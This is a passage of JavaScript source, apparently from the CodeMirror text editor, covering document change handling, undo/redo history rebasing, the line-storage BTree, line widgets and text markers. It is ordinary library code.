    // of read-only spans in its range.
    var split = sawReadOnlySpans && !ignoreReadOnly && removeReadOnlyRanges(doc, change.from, change.to);
    if (split) {
      for (var i = split.length - 1; i >= 0; --i)
        { makeChangeInner(doc, {from: split[i].from, to: split[i].to, text: i ? [""] : change.text, origin: change.origin}); }
    } else {
      makeChangeInner(doc, change);
    }
  }

  function makeChangeInner(doc, change) {
    if (change.text.length == 1 && change.text[0] == "" && cmp(change.from, change.to) == 0) { return }
    var selAfter = computeSelAfterChange(doc, change);
    addChangeToHistory(doc, change, selAfter, doc.cm ? doc.cm.curOp.id : NaN);

    makeChangeSingleDoc(doc, change, selAfter, stretchSpansOverChange(doc, change));
    var rebased = [];

    linkedDocs(doc, function (doc, sharedHist) {
      if (!sharedHist && indexOf(rebased, doc.history) == -1) {
        rebaseHist(doc.history, change);
        rebased.push(doc.history);
      }
      makeChangeSingleDoc(doc, change, null, stretchSpansOverChange(doc, change));
    });
  }

  // Revert a change stored in a document's history.
  function makeChangeFromHistory(doc, type, allowSelectionOnly) {
    var suppress = doc.cm && doc.cm.state.suppressEdits;
    if (suppress && !allowSelectionOnly) { return }

    var hist = doc.history, event, selAfter = doc.sel;
    var source = type == "undo" ? hist.done : hist.undone, dest = type == "undo" ? hist.undone : hist.done;

    // Verify that there is a useable event (so that ctrl-z won't
    // needlessly clear selection events)
    var i = 0;
    for (; i < source.length; i++) {
      event = source[i];
      if (allowSelectionOnly ? event.ranges && !event.equals(doc.sel) : !event.ranges)
        { break }
    }
    if (i == source.length) { return }
    hist.lastOrigin = hist.lastSelOrigin = null;

    for (;;) {
      event = source.pop();
      if (event.ranges) {
        pushSelectionToHistory(event, dest);
        if (allowSelectionOnly && !event.equals(doc.sel)) {
          setSelection(doc, event, {clearRedo: false});
          return
        }
        selAfter = event;
      } else if (suppress) {
        source.push(event);
        return
      } else { break }
    }

    // Build up a reverse change object to add to the opposite history
    // stack (redo when undoing, and vice versa).
    var antiChanges = [];
    pushSelectionToHistory(selAfter, dest);
    dest.push({changes: antiChanges, generation: hist.generation});
    hist.generation = event.generation || ++hist.maxGeneration;

    var filter = hasHandler(doc, "beforeChange") || doc.cm && hasHandler(doc.cm, "beforeChange");

    var loop = function ( i ) {
      var change = event.changes[i];
      change.origin = type;
      if (filter && !filterChange(doc, change, false)) {
        source.length = 0;
        return {}
      }

      antiChanges.push(historyChangeFromChange(doc, change));

      var after = i ? computeSelAfterChange(doc, change) : lst(source);
      makeChangeSingleDoc(doc, change, after, mergeOldSpans(doc, change));
      if (!i && doc.cm) { doc.cm.scrollIntoView({from: change.from, to: changeEnd(change)}); }
      var rebased = [];

      // Propagate to the linked documents
      linkedDocs(doc, function (doc, sharedHist) {
        if (!sharedHist && indexOf(rebased, doc.history) == -1) {
          rebaseHist(doc.history, change);
          rebased.push(doc.history);
        }
        makeChangeSingleDoc(doc, change, null, mergeOldSpans(doc, change));
      });
    };

    for (var i$1 = event.changes.length - 1; i$1 >= 0; --i$1) {
      var returned = loop( i$1 );

      if ( returned ) return returned.v;
    }
  }

  // Sub-views need their line numbers shifted when text is added
  // above or below them in the parent document.
  function shiftDoc(doc, distance) {
    if (distance == 0) { return }
    doc.first += distance;
    doc.sel = new Selection(map(doc.sel.ranges, function (range) { return new Range(
      Pos(range.anchor.line + distance, range.anchor.ch),
      Pos(range.head.line + distance, range.head.ch)
    ); }), doc.sel.primIndex);
    if (doc.cm) {
      regChange(doc.cm, doc.first, doc.first - distance, distance);
      for (var d = doc.cm.display, l = d.viewFrom; l < d.viewTo; l++)
        { regLineChange(doc.cm, l, "gutter"); }
    }
  }

  // More lower-level change function, handling only a single document
  // (not linked ones).
  function makeChangeSingleDoc(doc, change, selAfter, spans) {
    if (doc.cm && !doc.cm.curOp)
      { return operation(doc.cm, makeChangeSingleDoc)(doc, change, selAfter, spans) }

    if (change.to.line < doc.first) {
      shiftDoc(doc, change.text.length - 1 - (change.to.line - change.from.line));
      return
    }
    if (change.from.line > doc.lastLine()) { return }

    // Clip the change to the size of this doc
    if (change.from.line < doc.first) {
      var shift = change.text.length - 1 - (doc.first - change.from.line);
      shiftDoc(doc, shift);
      change = {from: Pos(doc.first, 0), to: Pos(change.to.line + shift, change.to.ch),
                text: [lst(change.text)], origin: change.origin};
    }
    var last = doc.lastLine();
    if (change.to.line > last) {
      change = {from: change.from, to: Pos(last, getLine(doc, last).text.length),
                text: [change.text[0]], origin: change.origin};
    }

    change.removed = getBetween(doc, change.from, change.to);

    if (!selAfter) { selAfter = computeSelAfterChange(doc, change); }
    if (doc.cm) { makeChangeSingleDocInEditor(doc.cm, change, spans); }
    else { updateDoc(doc, change, spans); }
    setSelectionNoUndo(doc, selAfter, sel_dontScroll);

    if (doc.cantEdit && skipAtomic(doc, Pos(doc.firstLine(), 0)))
      { doc.cantEdit = false; }
  }

  // Handle the interaction of a change to a document with the editor
  // that this document is part of.
  function makeChangeSingleDocInEditor(cm, change, spans) {
    var doc = cm.doc, display = cm.display, from = change.from, to = change.to;

    var recomputeMaxLength = false, checkWidthStart = from.line;
    if (!cm.options.lineWrapping) {
      checkWidthStart = lineNo(visualLine(getLine(doc, from.line)));
      doc.iter(checkWidthStart, to.line + 1, function (line) {
        if (line == display.maxLine) {
          recomputeMaxLength = true;
          return true
        }
      });
    }

    if (doc.sel.contains(change.from, change.to) > -1)
      { signalCursorActivity(cm); }

    updateDoc(doc, change, spans, estimateHeight(cm));

    if (!cm.options.lineWrapping) {
      doc.iter(checkWidthStart, from.line + change.text.length, function (line) {
        var len = lineLength(line);
        if (len > display.maxLineLength) {
          display.maxLine = line;
          display.maxLineLength = len;
          display.maxLineChanged = true;
          recomputeMaxLength = false;
        }
      });
      if (recomputeMaxLength) { cm.curOp.updateMaxLine = true; }
    }

    retreatFrontier(doc, from.line);
    startWorker(cm, 400);

    var lendiff = change.text.length - (to.line - from.line) - 1;
    // Remember that these lines changed, for updating the display
    if (change.full)
      { regChange(cm); }
    else if (from.line == to.line && change.text.length == 1 && !isWholeLineUpdate(cm.doc, change))
      { regLineChange(cm, from.line, "text"); }
    else
      { regChange(cm, from.line, to.line + 1, lendiff); }

    var changesHandler = hasHandler(cm, "changes"), changeHandler = hasHandler(cm, "change");
    if (changeHandler || changesHandler) {
      var obj = {
        from: from, to: to,
        text: change.text,
        removed: change.removed,
        origin: change.origin
      };
      if (changeHandler) { signalLater(cm, "change", cm, obj); }
      if (changesHandler) { (cm.curOp.changeObjs || (cm.curOp.changeObjs = [])).push(obj); }
    }
    cm.display.selForContextMenu = null;
  }

  function replaceRange(doc, code, from, to, origin) {
    var assign;

    if (!to) { to = from; }
    if (cmp(to, from) < 0) { (assign = [to, from], from = assign[0], to = assign[1]); }
    if (typeof code == "string") { code = doc.splitLines(code); }
    makeChange(doc, {from: from, to: to, text: code, origin: origin});
  }

  // Rebasing/resetting history to deal with externally-sourced changes

  function rebaseHistSelSingle(pos, from, to, diff) {
    if (to < pos.line) {
      pos.line += diff;
    } else if (from < pos.line) {
      pos.line = from;
      pos.ch = 0;
    }
  }

  // Tries to rebase an array of history events given a change in the
  // document. If the change touches the same lines as the event, the
  // event, and everything 'behind' it, is discarded. If the change is
  // before the event, the event's positions are updated. Uses a
  // copy-on-write scheme for the positions, to avoid having to
  // reallocate them all on every rebase, but also avoid problems with
  // shared position objects being unsafely updated.
  function rebaseHistArray(array, from, to, diff) {
    for (var i = 0; i < array.length; ++i) {
      var sub = array[i], ok = true;
      if (sub.ranges) {
        if (!sub.copied) { sub = array[i] = sub.deepCopy(); sub.copied = true; }
        for (var j = 0; j < sub.ranges.length; j++) {
          rebaseHistSelSingle(sub.ranges[j].anchor, from, to, diff);
          rebaseHistSelSingle(sub.ranges[j].head, from, to, diff);
        }
        continue
      }
      for (var j$1 = 0; j$1 < sub.changes.length; ++j$1) {
        var cur = sub.changes[j$1];
        if (to < cur.from.line) {
          cur.from = Pos(cur.from.line + diff, cur.from.ch);
          cur.to = Pos(cur.to.line + diff, cur.to.ch);
        } else if (from <= cur.to.line) {
          ok = false;
          break
        }
      }
      if (!ok) {
        array.splice(0, i + 1);
        i = 0;
      }
    }
  }

  function rebaseHist(hist, change) {
    var from = change.from.line, to = change.to.line, diff = change.text.length - (to - from) - 1;
    rebaseHistArray(hist.done, from, to, diff);
    rebaseHistArray(hist.undone, from, to, diff);
  }

  // Utility for applying a change to a line by handle or number,
  // returning the number and optionally registering the line as
  // changed.
  function changeLine(doc, handle, changeType, op) {
    var no = handle, line = handle;
    if (typeof handle == "number") { line = getLine(doc, clipLine(doc, handle)); }
    else { no = lineNo(handle); }
    if (no == null) { return null }
    if (op(line, no) && doc.cm) { regLineChange(doc.cm, no, changeType); }
    return line
  }

  // The document is represented as a BTree consisting of leaves, with
  // chunk of lines in them, and branches, with up to ten leaves or
  // other branch nodes below them. The top node is always a branch
  // node, and is the document object itself (meaning it has
  // additional methods and properties).
  //
  // All nodes have parent links. The tree is used both to go from
  // line numbers to line objects, and to go from objects to numbers.
  // It also indexes by height, and is used to convert between height
  // and line object, and to find the total height of the document.
  //
  // See also http://marijnhaverbeke.nl/blog/codemirror-line-tree.html

  function LeafChunk(lines) {
    this.lines = lines;
    this.parent = null;
    var height = 0;
    for (var i = 0; i < lines.length; ++i) {
      lines[i].parent = this;
      height += lines[i].height;
    }
    this.height = height;
  }

  LeafChunk.prototype = {
    chunkSize: function() { return this.lines.length },

    // Remove the n lines at offset 'at'.
    removeInner: function(at, n) {
      for (var i = at, e = at + n; i < e; ++i) {
        var line = this.lines[i];
        this.height -= line.height;
        cleanUpLine(line);
        signalLater(line, "delete");
      }
      this.lines.splice(at, n);
    },

    // Helper used to collapse a small branch into a single leaf.
    collapse: function(lines) {
      lines.push.apply(lines, this.lines);
    },

    // Insert the given array of lines at offset 'at', count them as
    // having the given height.
    insertInner: function(at, lines, height) {
      this.height += height;
      this.lines = this.lines.slice(0, at).concat(lines).concat(this.lines.slice(at));
      for (var i = 0; i < lines.length; ++i) { lines[i].parent = this; }
    },

    // Used to iterate over a part of the tree.
    iterN: function(at, n, op) {
      for (var e = at + n; at < e; ++at)
        { if (op(this.lines[at])) { return true } }
    }
  };

  function BranchChunk(children) {
    this.children = children;
    var size = 0, height = 0;
    for (var i = 0; i < children.length; ++i) {
      var ch = children[i];
      size += ch.chunkSize(); height += ch.height;
      ch.parent = this;
    }
    this.size = size;
    this.height = height;
    this.parent = null;
  }

  BranchChunk.prototype = {
    chunkSize: function() { return this.size },

    removeInner: function(at, n) {
      this.size -= n;
      for (var i = 0; i < this.children.length; ++i) {
        var child = this.children[i], sz = child.chunkSize();
        if (at < sz) {
          var rm = Math.min(n, sz - at), oldHeight = child.height;
          child.removeInner(at, rm);
          this.height -= oldHeight - child.height;
          if (sz == rm) { this.children.splice(i--, 1); child.parent = null; }
          if ((n -= rm) == 0) { break }
          at = 0;
        } else { at -= sz; }
      }
      // If the result is smaller than 25 lines, ensure that it is a
      // single leaf node.
      if (this.size - n < 25 &&
          (this.children.length > 1 || !(this.children[0] instanceof LeafChunk))) {
        var lines = [];
        this.collapse(lines);
        this.children = [new LeafChunk(lines)];
        this.children[0].parent = this;
      }
    },

    collapse: function(lines) {
      for (var i = 0; i < this.children.length; ++i) { this.children[i].collapse(lines); }
    },

    insertInner: function(at, lines, height) {
      this.size += lines.length;
      this.height += height;
      for (var i = 0; i < this.children.length; ++i) {
        var child = this.children[i], sz = child.chunkSize();
        if (at <= sz) {
          child.insertInner(at, lines, height);
          if (child.lines && child.lines.length > 50) {
            // To avoid memory thrashing when child.lines is huge (e.g. first view of a large file), it's never spliced.
            // Instead, small slices are taken. They're taken in order because sequential memory accesses are fastest.
            var remaining = child.lines.length % 25 + 25;
            for (var pos = remaining; pos < child.lines.length;) {
              var leaf = new LeafChunk(child.lines.slice(pos, pos += 25));
              child.height -= leaf.height;
              this.children.splice(++i, 0, leaf);
              leaf.parent = this;
            }
            child.lines = child.lines.slice(0, remaining);
            this.maybeSpill();
          }
          break
        }
        at -= sz;
      }
    },

    // When a node has grown, check whether it should be split.
    maybeSpill: function() {
      if (this.children.length <= 10) { return }
      var me = this;
      do {
        var spilled = me.children.splice(me.children.length - 5, 5);
        var sibling = new BranchChunk(spilled);
        if (!me.parent) { // Become the parent node
          var copy = new BranchChunk(me.children);
          copy.parent = me;
          me.children = [copy, sibling];
          me = copy;
       } else {
          me.size -= sibling.size;
          me.height -= sibling.height;
          var myIndex = indexOf(me.parent.children, me);
          me.parent.children.splice(myIndex + 1, 0, sibling);
        }
        sibling.parent = me.parent;
      } while (me.children.length > 10)
      me.parent.maybeSpill();
    },

    iterN: function(at, n, op) {
      for (var i = 0; i < this.children.length; ++i) {
        var child = this.children[i], sz = child.chunkSize();
        if (at < sz) {
          var used = Math.min(n, sz - at);
          if (child.iterN(at, used, op)) { return true }
          if ((n -= used) == 0) { break }
          at = 0;
        } else { at -= sz; }
      }
    }
  };

  // Line widgets are block elements displayed above or below a line.

  var LineWidget = function(doc, node, options) {
    if (options) { for (var opt in options) { if (options.hasOwnProperty(opt))
      { this[opt] = options[opt]; } } }
    this.doc = doc;
    this.node = node;
  };

  LineWidget.prototype.clear = function () {
    var cm = this.doc.cm, ws = this.line.widgets, line = this.line, no = lineNo(line);
    if (no == null || !ws) { return }
    for (var i = 0; i < ws.length; ++i) { if (ws[i] == this) { ws.splice(i--, 1); } }
    if (!ws.length) { line.widgets = null; }
    var height = widgetHeight(this);
    updateLineHeight(line, Math.max(0, line.height - height));
    if (cm) {
      runInOp(cm, function () {
        adjustScrollWhenAboveVisible(cm, line, -height);
        regLineChange(cm, no, "widget");
      });
      signalLater(cm, "lineWidgetCleared", cm, this, no);
    }
  };

  LineWidget.prototype.changed = function () {
      var this$1 = this;

    var oldH = this.height, cm = this.doc.cm, line = this.line;
    this.height = null;
    var diff = widgetHeight(this) - oldH;
    if (!diff) { return }
    if (!lineIsHidden(this.doc, line)) { updateLineHeight(line, line.height + diff); }
    if (cm) {
      runInOp(cm, function () {
        cm.curOp.forceUpdate = true;
        adjustScrollWhenAboveVisible(cm, line, diff);
        signalLater(cm, "lineWidgetChanged", cm, this$1, lineNo(line));
      });
    }
  };
  eventMixin(LineWidget);

  function adjustScrollWhenAboveVisible(cm, line, diff) {
    if (heightAtLine(line) < ((cm.curOp && cm.curOp.scrollTop) || cm.doc.scrollTop))
      { addToScrollTop(cm, diff); }
  }

  function addLineWidget(doc, handle, node, options) {
    var widget = new LineWidget(doc, node, options);
    var cm = doc.cm;
    if (cm && widget.noHScroll) { cm.display.alignWidgets = true; }
    changeLine(doc, handle, "widget", function (line) {
      var widgets = line.widgets || (line.widgets = []);
      if (widget.insertAt == null) { widgets.push(widget); }
      else { widgets.splice(Math.min(widgets.length, Math.max(0, widget.insertAt)), 0, widget); }
      widget.line = line;
      if (cm && !lineIsHidden(doc, line)) {
        var aboveVisible = heightAtLine(line) < doc.scrollTop;
        updateLineHeight(line, line.height + widgetHeight(widget));
        if (aboveVisible) { addToScrollTop(cm, widget.height); }
        cm.curOp.forceUpdate = true;
      }
      return true
    });
    if (cm) { signalLater(cm, "lineWidgetAdded", cm, widget, typeof handle == "number" ? handle : lineNo(handle)); }
    return widget
  }

  // TEXTMARKERS

  // Created with markText and setBookmark methods. A TextMarker is a
  // handle that can be used to clear or find a marked position in the
  // document. Line objects hold arrays (markedSpans) containing
  // {from, to, marker} object pointing to such marker objects, and
  // indicating that such a marker is present on that line. Multiple
  // lines may point to the same marker when it spans across lines.
  // The spans will have null for their from/to properties when the
  // marker continues beyond the start/end of the line. Markers have
  // links back to the lines they currently touch.

  // Collapsed markers have unique ids, in order to be able to order
  // them, which is needed for uniquely determining an outer marker
  // when they overlap (they may nest, but not partially overlap).
  var nextMarkerId = 0;

  var TextMarker = function(doc, type) {
    this.lines = [];
    this.type = type;
    this.doc = doc;
    this.id = ++nextMarkerId;
  };

  // Clear the marker.
  TextMarker.prototype.clear = function () {
    if (this.explicitlyCleared) { return }
    var cm = this.doc.cm, withOp = cm && !cm.curOp;
    if (withOp) { startOperation(cm); }
    if (hasHandler(this, "clear")) {
      var found = this.find();
      if (found) { signalLater(this, "clear", found.from, found.to); }
    }
    var min = null, max = null;
    for (var i = 0; i < this.lines.length; ++i) {
      var line = this.lines[i];
      var span = getMarkedSpanFor(line.markedSpans, this);
      if (cm && !this.collapsed) { regLineChange(cm, lineNo(line), "text"); }
      else if (cm) {
        if (span.to != null) { max = lineNo(line); }
        if (span.from != null) { min = lineNo(line); }
      }
      line.markedSpans = removeMarkedSpan(line.markedSpans, span);
      if (span.from == null && this.collapsed && !lineIsHidden(this.doc, line) && cm)
        { updateLineHeight(line, textHeight(cm.display)); }
    }
    if (cm && this.collapsed && !cm.options.lineWrapping) { for (var i$1 = 0; i$1 < this.lines.length; ++i$1) {
      var visual = visualLine(this.lines[i$1]), len = lineLength(visual);
      if (len > cm.display.maxLineLength) {
        cm.display.maxLine = visual;
        cm.display.maxLineLength = len;
        cm.display.maxLineChanged = true;
      }
    } }

    if (min != null && cm && this.collapsed) { regChange(cm, min, max + 1); }
    this.lines.length = 0;
    this.explicitlyCleared = true;
    if (this.atomic && this.doc.cantEdit) {
      this.doc.cantEdit = false;
      if (cm) { reCheckSelection(cm.doc); }
    }
    if (cm) { signalLater(cm, "markerCleared", cm, this, min, max); }
    if (withOp) { endOperation(cm); }
    if (this.parent) { this.parent.clear(); }
  };

  // Find the position of the marker in the document. Returns a {from,
  // to} object by default. Side can be passed to get a specific side
  // -- 0 (both), -1 (left), or 1 (right). When lineObj is true, the
  // Pos objects returned contain a line object, rather than a line
  // number (used to prevent looking up the same line twice).
  TextMarker.prototype.find = function (side, lineObj) {
    if (side == null && this.type == "bookmark") { side = 1; }
    var from, to;
    for (var i = 0; i < this.lines.length; ++i) {
      var line = this.lines[i];
      var span = getMarkedSpanFor(line.markedSpans, this);
      if (span.from != null) {
        from = Pos(lineObj ? line : lineNo(line), span.from);
        if (side == -1) { return from }
      }
      if (span.to != null) {
        to = Pos(lineObj ? line : lineNo(line), span.to);
        if (side == 1) { return to }
      }
    }
    return from && {from: from, to: to}
  };

  // Signals that the marker's widget changed, and surrounding layout
  // should be recomputed.
  TextMarker.prototype.changed = function () {
      var this$1 = this;

    var pos = this.find(-1, true), widget = this, cm = this.doc.cm;
    if (!pos || !cm) { return }
    runInOp(cm, function () {
      var line = pos.line, lineN = lineNo(pos.line);
      var view = findViewForLine(cm, lineN);
      if (view) {
        clearLineMeasurementCacheFor(view);
        cm.curOp.selectionChanged = cm.curOp.forceUpdate = true;
      }
      cm.curOp.updateMaxLine = true;
      if (!lineIsHidden(widget.doc, line) && widget.height != null) {
        var oldHeight = widget.height;
        widget.height = null;
        var dHeight = widgetHeight(widget) - oldHeight;
        if (dHeight)
          { updateLineHeight(line, line.height + dHeight); }
      }
      signalLater(cm, "markerChanged", cm, this$1);
    });
  };

  TextMarker.prototype.attachLine = function (line) {
    if (!this.lines.length && this.doc.cm) {
      var op = this.doc.cm.curOp;
      if (!op.maybeHiddenMarkers || indexOf(op.maybeHiddenMarkers, this) == -1)
        { (op.maybeUnhiddenMarkers || (op.maybeUnhiddenMarkers = [])).push(this); }
    }
    this.lines.push(line);
  };

  TextMarker.prototype.detachLine = function (line) {
    this.lines.splice(indexOf(this.lines, line), 1);
    if (!this.lines.length && this.doc.cm) {
      var op = this.doc.cm.curOp
      ;(op.maybeHiddenMarkers || (op.maybeHiddenMarkers = [])).push(this);
    }
  };
  eventMixin(TextMarker);

  // Create a marker, wire it up to the right lines, and
  function markText(doc, from, to, options, type) {
    // Shared markers (across linked documents) are handled separately
    // (markTextShared will call out to this again, once per
    // document).
    if (options && options.shared) { return markTextShared(doc, from, to, options, type) }
    // Ensure we are in an operation.
    if (doc.cm && !doc.cm.curOp) { return operation(doc.cm, markText)(doc, from, to, options, type) }

    var marker = new TextMarker(doc, type), diff = cmp(from, to);
    if (options) { copyObj(options, marker, false); }
    // Don't connect empty markers unless clearWhenEmpty is false
    if (diff > 0 || diff == 0 && marker.clearWhenEmpty !== false)
      { return marker }
    if (marker.replacedWith) {
      // Showing up as a widget implies collapsed (widget replaces text)
      marker.collapsed = true;
      marker.widgetNode = eltP("span", [marker.replacedWith], "CodeMirror-widget");
      if (!options.handleMouseEvents) { marker.widgetNode.setAttribute("cm-ignore-events", "true"); }
      if (options.insertLeft) { marker.widgetNode.insertLeft = true; }
    }
    if (marker.collapsed) {
      if (conflictingCollapsedRange(doc, from.line, from, to, marker) ||
          from.line != to.line && conflictingCollapsedRange(doc, to.line, from, to, marker))
        { throw new Error("Inserting collapsed marker partially overlapping an existing one") }
      seeCollapsedSpans();
    }

    if (marker.addToHistory)
      { addChangeToHistory(doc, {from: from, to: to, origin: "markText"}, doc.sel, NaN); }

    var curLine = from.line, cm = doc.cm, updateMaxLine;
    doc.iter(curLine, to.line + 1, function (line) {
      if (cm && marker.collapsed && !cm.options.lineWrapping && visualLine(line) == cm.display.maxLine)
        { updateMaxLine = true; }
      if (marker.collapsed && curLine != from.line) { updateLineHeight(line, 0); }
      addMarkedSpan(line, new MarkedSpan(marker,
                                         curLine == from.line ? from.ch : null,
                                         curLine == to.line ? to.ch : null));
      ++curLine;
    });
    // lineIsHidden depends on the presence of the spans, so needs a second pass
    if (marker.collapsed) { doc.iter(from.line, to.line + 1, function (line) {
      if (lineIsHidden(doc, line)) { updateLineHeight(line, 0); }
    }); }

    if (marker.clearOnEnter) { on(marker, "beforeCursorEnter", function () { return marker.clear(); }); }

    if (marker.readOnly) {
      seeReadOnlySpans();
      if (doc.history.done.length || doc.history.undone.length)
        { doc.clearHistory(); }
    }
    if (marker.collapsed) {
      marker.id = ++nextMarkerId;
      marker.atomic = true;
    }
    if (cm) {
      // Sync editor state
      if (updateMaxLine) { cm.curOp.updateMaxLine = true; }
      if (marker.collapsed)
        { regChange(cm, from.line, to.line + 1); }
      else if (marker.className || marker.startStyle || marker.endStyle || marker.css ||
               marker.attributes || marker.title)
        { for (var i = from.line; i <= to.line; i++) { regLineChange(cm, i, "text"); } }
      if (marker.atomic) { reCheckSelection(cm.doc); }
      signalLater(cm, "markerAdded", cm, marker);
    }
    return marker
  }

  // SHARED TEXTMARKERS

  // A shared marker spans multiple linked documents. It is
  // implemented as a meta-marker-object controlling multiple normal
  // markers.
  var SharedTextMarker = function(markers, primary) {
    this.markers = markers;
    this.primary = primary;
    for (var i = 0; i < markers.length; ++i)
      { markers[i].parent = this; }
  };

  SharedTextMarker.prototype.clear = function () {
    if (this.explicitlyCleared) { return }
    this.explicitlyCleared = true;
    for (var i = 0; i < this.markers.length; ++i)
      { this.markers[i].clear(); }
    signalLater(this, "clear");
  };

  SharedTextMarker.prototype.find = function (side, lineObj) {
    return this.primary.find(side, lineObj)
  };
  eventMixin(SharedTextMarker);

  function markTextShared(doc, from, to, options, type) {
    options = copyObj(options);
    options.shared = false;
    var markers = [markText(doc, from, to, options, type)], primary = markers[0];
    var widget = options.widgetNode;
    linkedDocs(doc, function (doc) {
      if (widget) { options.widgetNode = widget.cloneNode(true); }
      markers.push(markText(doc, clipPos(doc, from), clipPos(doc, to), options, type));
      for (var i = 0; i < doc.linked.length; ++i)
        { if (doc.linked[i].isParent) { return } }
      primary = lst(markers);
    });
    return new SharedTextMarker(markers, primary)
  }

  function findSharedMarkers(doc) {
    return doc.findMarks(Pos(doc.first, 0), doc.clipPos(Pos(doc.lastLine())), function (m) { return m.parent; })
  }

  function copySharedMarkers(doc, markers) {
    for (var i = 0; i < markers.length; i++) {
      var marker = markers[i], pos = marker.find();
      var mFrom = doc.clipPos(pos.from), mTo = doc.clipPos(pos.to);
      if (cmp(mFrom, mTo)) {
        var subMark = markText(doc, mFrom, mTo, marker.primary, marker.primary.type);
        marker.markers.push(subMark);
        subMark.parent = marker;
      }
    }
  }

  function detachSharedMarkers(markers) {
    var loop = function ( i ) {
      var marker = markers[i], linked = [marker.primary.doc];
      linkedDocs(marker.primary.doc, function (d) { return linked.push(d); });
      for (var j = 0; j < marker.markers.length; j++) {
        var subMarker = marker.markers[j];
        if (indexOf(linked, subMarker.doc) == -1) {
          subMarker.parent = null;
          marker.markers.splice(j--, 1);
        }
      }
    };

    for (var i = 0; i < markers.length; i++) loop( i );
  }

  var nextDocId = 0;
  var Doc = function(text, mode, firstLine, lineSep, direction) {
    if (!(this instanceof Doc)) { return new Doc(text, mode, firstLine, lineSep, direction) }
    if (firstLine == null) { firstLine = 0; }

    BranchChunk.call(this, [new LeafChunk([new Line("", null)])]);
    this.first = firstLine;
    this.scrollTop = this.scrollLeft = 0;
    this.cantEdit = false;
    this.cleanGeneration = 1;
    this.modeFrontier = this.highlightFrontier = firstLine;
    var start = Pos(firstLine, 0);
    this.sel = simpleSelection(start);
    this.history = new History(null);
    this.id = ++nextDocId;
    this.modeOption = mode;
    this.lineSep = lineSep;
    this.direction = (direction == "rtl") ? "rtl" : "ltr";
    this.extend = false;

    if (typeof text == "string") { text = this.splitLines(text); }
    updateDoc(this, {from: start, to: start, text: text});
    setSelection(this, simpleSelection(start), sel_dontScroll);
  };

  Doc.prototype = createObj(BranchChunk.prototype, {
    constructor: Doc,
    // Iterate over the document. Supports two forms -- with only one
    // argument, it calls that for each line in the document. With
    // three, it iterates over the range given by the first two (with
    // the second being non-inclusive).
    iter: function(from, to, op) {
      if (op) { this.iterN(from - this.first, to - from, op); }
      else { this.iterN(this.first, this.first + this.size, from); }
    },

    // Non-public interface for adding and removing lines.
    insert: function(at, lines) {
      var height = 0;
      for (var i = 0; i < lines.length; ++i) { height += lines[i].height; }
      this.insertInner(at - this.first, lines, height);
    },
    remove: function(at, n) { this.removeInner(at - this.first, n); },

    // From here, the methods are part of the public interface. Most
    // are also available from CodeMirror (editor) instances.

    getValue: function(lineSep) {
      var lines = getLines(this, this.first, this.first + this.size);
      if (lineSep === false) { return lines }
      return lines.join(lineSep || this.lineSeparator())
    },
    setValue: docMethodOp(function(code) {
      var top = Pos(this.first, 0), last = this.first + this.size - 1;
      makeChange(this, {from: top, to: Pos(last, getLine(this, last).text.length),
                        text: this.splitLines(code), origin: "setValue", full: true}, true);
      if (this.cm) { scrollToCoords(this.cm, 0, 0); }
      setSelection(this, simpleSelection(top), sel_dontScroll);
    }),
    replaceRange: function(code, from, to, origin) {
      from = clipPos(this, from);
      to = to ? clipPos(this, to) : from;
      replaceRange(this, code, from, to, origin);
    },
    getRange: function(from, to, lineSep) {
      var lines = getBetween(this, clipPos(this, from), clipPos(this, to));
      if (lineSep === false) { return lines }
      return lines.join(lineSep || this.lineSeparator())
    },

    getLine: function(line) {var l = this.getLineHandle(line); return l && l.text},

    getLineHandle: function(line) {if (isLine(this, line)) { return getLine(this, line) }},
    getLineNumber: function(line) {return lineNo(line)},

    getLineHandleVisualStart: function(line) {
      if (typeof line == "number") { line = getLine(this, line); }
      return visualLine(line)
    },

    lineCount: function() {return this.size},
    firstLine: function() {return this.first},
    lastLine: function() {return this.first + this.size - 1},

    clipPos: function(pos) {return clipPos(this, pos)},

    getCursor: function(start) {
      var range = this.sel.primary(), pos;
      if (start == null || start == "head") { pos = range.head; }
      else if (start == "anchor") { pos = range.anchor; }
      else if (start == "end" || start == "to" || start === false) { pos = range.to(); }
      else { pos = range.from(); }
      return pos
    },
    listSelections: function() { return this.sel.ranges },
    somethingSelected: function() {return this.sel.somethingSelected()},

    setCursor: docMethodOp(function(line, ch, options) {
      setSimpleSelection(this, clipPos(this, typeof line == "number" ? Pos(line, ch || 0) : line), null, options);
    }),
    setSelection: docMethodOp(function(anchor, head, options) {
      setSimpleSelection(this, clipPos(this, anchor), clipPos(this, head || anchor), options);
    }),
    extendSelection: docMethodOp(function(head, other, options) {
      extendSelection(this, clipPos(this, head), other && clipPos(this, other), options);
    }),
    extendSelections: docMethodOp(function(heads, options) {
      extendSelections(this, clipPosArray(this, heads), options);
    }),
    extendSelectionsBy: docMethodOp(function(f, options) {
      var heads = map(this.sel.ranges, f);
      extendSelections(this, clipPosArray(this, heads), options);
    }),
    setSelections: docMethodOp(function(ranges, primary, options) {
      if (!ranges.length) { return }
      var out = [];
      for (var i = 0; i < ranges.length; i++)
        { out[i] = new Range(clipPos(this, ranges[i].anchor),
                           clipPos(this, ranges[i].head)); }
      if (primary == null) { primary = Math.min(ranges.length - 1, this.sel.primIndex); }
      setSelection(this, normalizeSelection(this.cm, out, primary), options);
    }),
    addSelection: docMethodOp(function(anchor, head, options) {
      var ranges = this.sel.ranges.slice(0);
      ranges.push(new Range(clipPos(this, anchor), clipPos(this, head || anchor)));
      setSelection(this, normalizeSelection(this.cm, ranges, ranges.length - 1), options);
    }),

    getSelection: function(lineSep) {
      var ranges = this.sel.ranges, lines;
      for (var i = 0; i < ranges.length; i++) {
        var sel = getBetween(this, ranges[i].from(), ranges[i].to());
        lines = lines ? lines.concat(sel) : sel;
      }
      if (lineSep === false) { return lines }
      else { return lines.join(lineSep || this.lineSeparator()) }
    },
    getSelections: function(lineSep) {
      var parts = [], ranges = this.sel.ranges;
      for (var i = 0; i < ranges.length; i++) {
        var sel = getBetween(this, ranges[i].from(), ranges[i].to());
        if (lineSep !== false) { sel = sel.join(lineSep || this.lineSeparator()); }
        parts[i] = sel;
      }
      return parts
    },
    replaceSelection: function(code, collapse, origin) {
      var dup = [];
      for (var i = 0; i < this.sel.ranges.length; i++)
        { dup[i] = code; }
      this.replaceSelections(dup, collapse, origin || "+input");
    },
    replaceSelections: docMethodOp(function(code, collapse, origin) {
      var changes = [], sel = this.sel;
      for (var i = 0; i < sel.ranges.length; i++) {
        var range = sel.ranges[i];
        changes[i] = {from: range.from(), to: range.to(), text: this.splitLines(code[i]), origin: origin};
      }
